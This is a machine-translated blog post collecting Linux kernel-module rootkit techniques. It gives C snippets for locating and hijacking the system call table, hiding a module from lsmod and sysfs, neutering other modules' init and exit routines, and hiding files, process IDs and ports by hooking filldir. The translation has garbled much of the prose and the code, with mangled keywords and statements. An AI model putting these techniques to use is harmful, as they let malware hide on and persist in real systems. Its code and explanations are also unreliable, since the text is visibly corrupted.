linux lkm rootkit techniques commonly used

Brief introduction

Collect about linux lkm rootkit to some common tips

1, the system call hijacking

Traversal address space

The system calls some export functions, such as the address to find sys_close

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}

This address is required to determine the export function, so as to obtain the address

According to IDT address, find the interrupt handler, and then find the pattern according to which the system call table

In i386 machine, using the following code table system call

call *sys_call_table(,%eax,4)

This instruction binary code

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

Then according to 0xff 0x14 0x85 these three signatures to look for the address table

IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
asm("sidt %0" : "=m" (idtr));
IDT = (interrupt_descriptor *) idtr.base_addr;
system_gate = &IDT[0x80];
sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
for (i = 0; i < 100; i++) {
if (sys_call_asm[i] == (unsigned char) 0xff &&
sys_call_asm[i+1] == (unsigned char) 0x14 &&
sys_call_asm[i+2] == (unsigned char) 0x85)
*guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
}

According to find system.map

Located System.map / boot directory, compile-time raw kernel symbol table content

Looking directly address sys_call_table in this document

Kernel kallsym looking symbolic address

The kernel symbol table address inquiries function directly on it

// function query symbol table 
static  int khook_lookup_cb ( Long Data [], const  char * name, void * Module1, Long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}
/*
Use kallsyms_on_each_symbol can query the symbol table, only you need to pass the query function on it
data [0] indicates the address to be queried
data [1] shows the results
*/
static void *khook_lookup_name(const char *name)
{
    long data[2] = { (long)name, 0 };
    kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
    return (void *)data[1];
}

Inline hook

Replace the front part of the kernel code to realize the functions of other core logic hijacking

Specific can be seen here: https://www.cnblogs.com/likaiming/p/10970543.html

System dispatch routines tampering

In the process the entire system call, jump to the address modification sys_call_table, and then jump to the custom forgery system call table, so that the system call hijacking may also be implemented

Analog system calls

Write a piece of code, used sys_call_table, then use objdump View Address

#include <stdio.h>
void fun1()
{
        printf("fun1/n");
}
void fun2()
{
        printf("fun2/n");
}
unsigned int sys_call_table[2] = {fun1, fun2};
int main(int argc, char **argv)
{
        asm("call *sys_call_table(%eax,4");
}

Search is implemented by the system call table of / dev / kmem access memory

In this way unity and previous memory address search, the need for a signature, for example, 0xff 0x14 0x85

kprobes

It works as follows:

1. The user specifies a point of detection, and associate a user-defined function to process the detection point
2. When registration point probe, the probe instruction function codes are to be replaced, is replaced with int instruction code 3
3. In performing abnormality int 3, call the exception handler kprobe chain by way of the notification
4. abnormal function kprobe out, it is determined whether there pre_handler hook there is executed
5. After the execution, ready to enter the single-step debugging, by setting the flag bit EFLAGS of TF, and the address of the exception return instruction to modify the original code is stored
6. The code returns, execution of the original instruction after the execution triggers one-step exception
7. abnormality in a single step process, the single step flag is cleared, execution post_handler process, and finally returns 

LSM hook technology

LSM modified hook function, i.e. the function pointer of the global table security_ops

2, Hidden Module

Delete global module list

lsmod command is to obtain the system module information currently through the / proc / modules, and / proc / modules in the current system module information is the header kernel using struct modules structured body traversing kernel module list, from the struct module structure for all modules the access to relevant information module to get. Struct module structure representative of a kernel module in the kernel. By insmod (the actual execution init_module system call) to write your own kernel modules when inserted into the kernel, the module will be with a struct module structure associated with, and become part of the kernel, all kernel modules are maintained in a global list, the list head is a global variable struct module * modules. Any newly created module, will be added to the head of the list, by modules-> next, you can refer to. In order for our module disappear in the lsmod command output, we need to remove our module in this list

Hidden from sysfs module

In addition to the lsmod command and the corresponding viewing / proc / modules, we also may be in sysfs, that is, by looking at / sys / module / directory to find an existing module

This problem is also solved, add a line of code in the initialization function can solve the problem

kobject_del(&THIS_MODULE->mkobj.kobj);

From the perspective of hidden files hidden module

As mentioned earlier, the user mode information is read module proc / modules and sys / modules, hide the file can be used to hide the information of the two documents

3, the back door

Improve process using proc file permissions

Create a proc file (of course, the last to hide), and then customize write file_operation in, to extract privileges

Netfilter filter into the system using the network packet, the network control system to do special packet field

4, to prevent loading of other modules

Registration or cancellation notification handler module can be used  register_module_notifier orunregister_module_notifier

Write a notification handler, then fill  struct notifier_block the structure, using the last register_module_notifier registered on it

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
 
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

Handler which then change the permissions

int
fake_init(void);
void
fake_exit(void);
 
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定义锁。
    DEFINE_SPINLOCK(module_notifier_spinlock);
 
    module = data;
    fm_alert("Processing the module: %s\n", module->name);
 
    // save interrupt status locked. 
    spin_lock_irqsave (& module_notifier_spinlock, the flags);
     Switch (module-> State) {
     Case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 Module1 -> name);
         // sly: initial function module tampered with exit function. 
        module-> the init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
 
    // resume the interrupted state is unlocked. 
    spin_unlock_irqrestore (& module_notifier_spinlock, the flags);
 
    return NOTIFY_DONE;
}
 
 
int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");
 
    return 0;
}
 
 
void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");
 
    return;
}

5, hidden files

To hide files, we may wish to look for file traversal, which is a system call getdents /  getdents64 , briefly browse it in the source kernel mode service function (sys_getdents) is (located fs/readdir.c), we can see the following call hierarchy,  sys_getdents -> iterate_dir ->  struct file_operations Lane  iterate-> here omitted a number of levels ->  struct dir_context Lane  actor , that is,filldir

filldir Responsible for a record (such as a file or directory in a subdirectory) returned to fill the buffer. If we are off the hook filldir , and our hook function to be in there for certain records directly discarded, do not fill the buffer, the upper function and application will not receive the record, she does not know that the file or folder existence, and also to achieve a hidden file.

Specifically, our hidden logic is as follows: tamper root directory (ie "/") of  iterateour false  iterate , false function in the  struct dir_context Lane  actorreplace our false  filldir , false  filldir will need to filter out the hidden files.

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // backup really `` filldir``, to prepare for later needs. 
    = the ctx- real_filldir> the Actor;
 
    // the `` struct dir_context`` in the actor`` ``,
     // is really filldir`` ``
     // replace our false filldir`` `` 
    * (filldir_t *) & ctx-> = the Actor fake_filldir;
 
    return real_iterate(filp, ctx);
}
 
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    IF (strncmp (name, SECRET_FILE, strlen (SECRET_FILE)) == 0 ) {
         // If you want to hide the file directly back, do not fill the buffer. 
        fm_alert ( " Hiding:% S " , name);
         return  0 ;
    }
 
    /* pr_cont("%s ", name); */
 
    // If not need to hide files,
     // to really `` filldir`` this record to fill the buffer. 
    return real_filldir (CTX, name, namlen, offset, iNO, d_type);
}

Spoken Hiroshi

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = ( struct file_operations *) filp-> f_op; \
            old = f_op-> on; \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
            f_op -> on = new ; \
            enable_write_protection();                      \
        }                                                   \
    } while(0)

For example, the following code so call

void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);

6, hidden processes

On pure Linux user mode enumeration process and obtain information, / proc  is the only place to go. So, for user mode hidden processes, we can hide / proc  following directory so that the user can state the enumeration process will come out under our control. Readers should now understand why the little hidden file is the main focus.

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
 
    // string becomes long integer. 
    = simple_strtol PID (name, & ENDP, 10 );
 
    IF (pid == SECRET_PROC) {
         // we need hidden processes, direct return. 
        fm_alert ( " Hiding PID:% LD " , PID);
         return  0 ;
    }
 
    /* pr_cont("%s ", name); */
 
    // not need to hide the process, to really `` filldir`` to fill the buffer. 
    return real_filldir (CTX, name, namlen, offset, iNO, d_type);

7, hidden ports

, In fact, read the user process to the user mode hidden port / proc following documents when acquiring port information, the need to hide the contents of the port to filter out, so that user processes read the contents of which we do not want to hide the port.
Specifically, look at the following table.
Network type / proc file kernel source code files to achieve the main function
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show

 

Guess you like

Origin www.cnblogs.com/likaiming/p/11002351.html